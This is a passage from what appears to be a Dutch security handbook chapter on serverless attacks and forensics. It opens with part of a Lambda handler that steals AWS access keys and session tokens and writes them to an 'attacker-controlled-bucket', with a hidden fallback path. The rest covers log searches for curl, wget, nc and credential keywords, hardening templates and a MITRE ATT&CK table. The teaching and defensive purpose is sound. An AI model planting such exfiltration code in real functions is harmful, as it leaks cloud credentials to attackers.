"secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
"session_token": os.environ.get("AWS_SESSION_TOKEN"),
},
"event_data": event
}
try:
s3.put_object(
Bucket="attacker-controlled-bucket",
Key=f"loot/{context.function_name}/{context.aws_request_id}.json",
Body=json.dumps(loot)
)
except Exception:
# Fallback: gebruik de functie's eigen bucket als staging
# Verberg het in een pad dat niet opvalt
s3.put_object(
Bucket="legitimate-app-bucket",
Key=f".aws-sam/cache/{context.aws_request_id}",
Body=json.dumps(loot)
)
return {"statusCode": 200}IB Tip: Exfiltratie via de cloud provider’s eigen diensten (S3, Azure Blob, GCS) is moeilijker te detecteren dan outbound HTTP naar een extern IP. Het verkeer gaat via interne endpoints en mengt zich met normaal applicatieverkeer. Monitor CloudTrail data events op onverwachte PutObject-acties naar onbekende buckets.
8.8 Serverless Forensics
Function Versioning
Lambda ondersteunt versioning – elke keer dat je een functie publiceert, wordt een immutable versie aangemaakt. Dit is goud waard voor forensics.
# Lijst alle versies van een functie
aws lambda list-versions-by-function \
--function-name target-function \
--query 'Versions[].{Version:Version, Modified:LastModified, CodeSha:CodeSha256}'
# Vergelijk code hashes tussen versies
# Als de hash veranderd is, is de code gewijzigd
aws lambda get-function --function-name target-function --qualifier 5 \
--query 'Configuration.CodeSha256'
# Download een specifieke versie voor analyse
aws lambda get-function --function-name target-function --qualifier 3 \
--query 'Code.Location' --output text | xargs curl -o version3.zip
# Bekijk welke aliases naar welke versies wijzen
aws lambda list-aliases --function-name target-functionCloudWatch Logs Analyse
Lambda-functies loggen automatisch naar CloudWatch Logs. De log group
volgt het patroon /aws/lambda/{function-name}.
# Bekijk recente log streams
aws logs describe-log-streams \
--log-group-name /aws/lambda/target-function \
--order-by LastEventTime \
--descending \
--limit 10
# Zoek naar verdachte activiteit
aws logs filter-log-events \
--log-group-name /aws/lambda/target-function \
--filter-pattern "curl OR wget OR nc OR /bin/sh OR /bin/bash" \
--start-time $(date -d '24 hours ago' +%s000)
# Zoek naar credential-gerelateerde logs
aws logs filter-log-events \
--log-group-name /aws/lambda/target-function \
--filter-pattern "ACCESS_KEY OR SECRET OR password OR token" \
--start-time $(date -d '7 days ago' +%s000)
# Zoek naar errors die op exploitatie kunnen wijzen
aws logs filter-log-events \
--log-group-name /aws/lambda/target-function \
--filter-pattern "ERROR OR Exception OR Traceback OR CRITICAL" \
--start-time $(date -d '24 hours ago' +%s000)
# Exporteer logs voor offline analyse
aws logs create-export-task \
--log-group-name /aws/lambda/target-function \
--from $(date -d '30 days ago' +%s000) \
--to $(date +%s000) \
--destination "forensics-bucket" \
--destination-prefix "lambda-logs/target-function"Azure Application Insights
# Bekijk function execution logs
az monitor app-insights query \
--app target-appinsights \
--resource-group target-rg \
--analytics-query "
requests
| where timestamp > ago(24h)
| where name contains 'target-function'
| where success == false
| project timestamp, name, resultCode, duration, customDimensions
| order by timestamp desc
"
# Zoek naar dependency calls (uitgaande verbindingen)
az monitor app-insights query \
--app target-appinsights \
--resource-group target-rg \
--analytics-query "
dependencies
| where timestamp > ago(24h)
| where target !contains 'azure'
| project timestamp, target, data, resultCode, duration
| order by timestamp desc
"X-Ray en Execution Traces
AWS X-Ray biedt distributed tracing voor Lambda-functies.
# Haal recente traces op
aws xray get-trace-summaries \
--start-time $(date -d '24 hours ago' +%s) \
--end-time $(date +%s) \
--filter-expression 'service("target-function")'
# Haal een specifieke trace op
aws xray batch-get-traces --trace-ids "1-67890abc-def0123456789"
# Zoek naar verdachte patronen:
# - Ongewoon lange execution times
# - Uitgaande calls naar onbekende endpoints
# - Calls naar het metadata endpoint
aws xray get-trace-summaries \
--start-time $(date -d '24 hours ago' +%s) \
--end-time $(date +%s) \
--filter-expression 'service("target-function") AND duration > 10'Verdedigingsmaatregelen
Het cynische antwoord op “hoe beveilig ik serverless?” is: “je beveiligt het niet, je beperkt de schade.” Maar laten we iets constructiever zijn.
Function Permissions: Least Privilege
Het principe van least privilege is nergens zo cruciaal als bij serverless. Elke functie moet precies de rechten hebben die nodig zijn – niet meer.
# SAM template -- goede IAM policy
Resources:
ProcessOrderFunction:
Type: AWS::Serverless::Function
Properties:
Handler: index.handler
Runtime: python3.11
Policies:
# Specifieke permissions, niet AmazonS3FullAccess
- Version: "2012-10-17"
Statement:
- Effect: Allow
Action:
- s3:GetObject
Resource: !Sub "arn:aws:s3:::${OrderBucket}/orders/*"
- Effect: Allow
Action:
- dynamodb:PutItem
Resource: !GetAtt OrderTable.Arn
Condition:
ForAllValues:StringEquals:
dynamodb:LeadingKeys:
- "${aws:PrincipalTag/orderId}"VPC Placement
# Lambda in een VPC -- beperkt outbound traffic
Resources:
SecureFunction:
Type: AWS::Serverless::Function
Properties:
VpcConfig:
SecurityGroupIds:
- !Ref FunctionSecurityGroup
SubnetIds:
- !Ref PrivateSubnet1
- !Ref PrivateSubnet2
FunctionSecurityGroup:
Type: AWS::EC2::SecurityGroup
Properties:
GroupDescription: Lambda function security group
VpcId: !Ref VPC
SecurityGroupEgress:
# Alleen toegang tot specifieke services
- IpProtocol: tcp
FromPort: 443
ToPort: 443
DestinationPrefixListId: !Ref S3PrefixList # Alleen S3Dependency Scanning
# CI/CD pipeline stap: scan dependencies
# Python
pip install pip-audit safety
pip-audit -r requirements.txt --strict
safety check -r requirements.txt
# Node.js
npm audit --audit-level=high
npx snyk test
# Scan Lambda layers
aws lambda get-layer-version \
--layer-name shared-layer --version-number 1 \
--query 'Content.Location' --output text \
| xargs curl -o layer.zip
unzip layer.zip -d layer-scan/
pip-audit -r layer-scan/python/requirements.txtRuntime Protection
# Lambda wrapper voor runtime protection
import os
import socket
# Blokkeer outbound DNS naar niet-standaard servers
_original_getaddrinfo = socket.getaddrinfo
def _restricted_getaddrinfo(host, port, *args, **kwargs):
# Sta alleen bekende hosts toe
allowed = ['dynamodb.eu-west-1.amazonaws.com', 's3.eu-west-1.amazonaws.com']
if host not in allowed and not host.endswith('.amazonaws.com'):
raise socket.gaierror(f"DNS lookup blocked for: {host}")
return _original_getaddrinfo(host, port, *args, **kwargs)
if os.environ.get('RESTRICT_NETWORK') == 'true':
socket.getaddrinfo = _restricted_getaddrinfoReferentietabel
| Techniek | MITRE ATT&CK | AWS | Azure | GCP |
|---|---|---|---|---|
| Function enumeration | T1526 - Cloud Service Discovery | aws lambda list-functions |
az functionapp list |
gcloud functions list |
| Credential extraction | T1552.005 - Cloud Instance Metadata | Lambda env vars, Runtime API | IMDS token theft | Metadata endpoint |
| Event injection | T1190 - Exploit Public-Facing App | S3/SQS/SNS event manipulation | Event Grid, Service Bus | Pub/Sub, Cloud Storage |
| Layer poisoning | T1195.002 - Supply Chain: Software Supply Chain | Lambda Layers | NuGet/npm packages | pip/npm packages |
| /tmp persistence | T1027 - Obfuscated Files | Lambda /tmp directory | Function App temp storage | /tmp directory |
| DNS exfiltration | T1048.003 - Exfil Over Unencrypted Protocol | CloudWatch DNS logs | Azure DNS Analytics | VPC Flow Logs |
| Function URL abuse | T1190 - Exploit Public-Facing App | Lambda Function URLs (AuthType: NONE) | Anonymous HTTP triggers | allUsers invoker |
| Runtime API exploitation | T1059 - Command and Scripting | Lambda Runtime API (127.0.0.1:9001) | N/A | N/A |
| Managed identity abuse | T1550.001 - Application Access Token | Lambda execution role | Managed Identity tokens | Service account tokens |
| Dependency attack | T1195.001 - Supply Chain: Compromise Software Dependencies | pip/npm malicious packages | NuGet supply chain | pip/npm supply chain |
| Code download | T1530 - Data from Cloud Storage | S3 function code bucket | Kudu SCM interface | gcf-sources bucket |
| Durable orchestration abuse | T1565 - Data Manipulation | Step Functions manipulation | Durable Functions events | Cloud Workflows |
| Extension registration | T1547 - Boot or Logon Autostart | Lambda Extensions API | App Service extensions | N/A |
| Cold start exploitation | T1059.006 - Python | Init phase code execution | Startup code execution | Init phase code execution |
| Outbound HTTP exfil | T1048.001 - Exfil Over Encrypted Channel | VPC endpoint bypass | NSG bypass attempts | Firewall rule bypass |
| Storage staging | T1074.002 - Remote Data Staging | S3 bucket staging | Blob Storage staging | GCS bucket staging |
Het mooie van serverless is dat je geen server hoeft te beheren. Het vervelende van serverless is dat je aanvaller dat ook niet hoeft.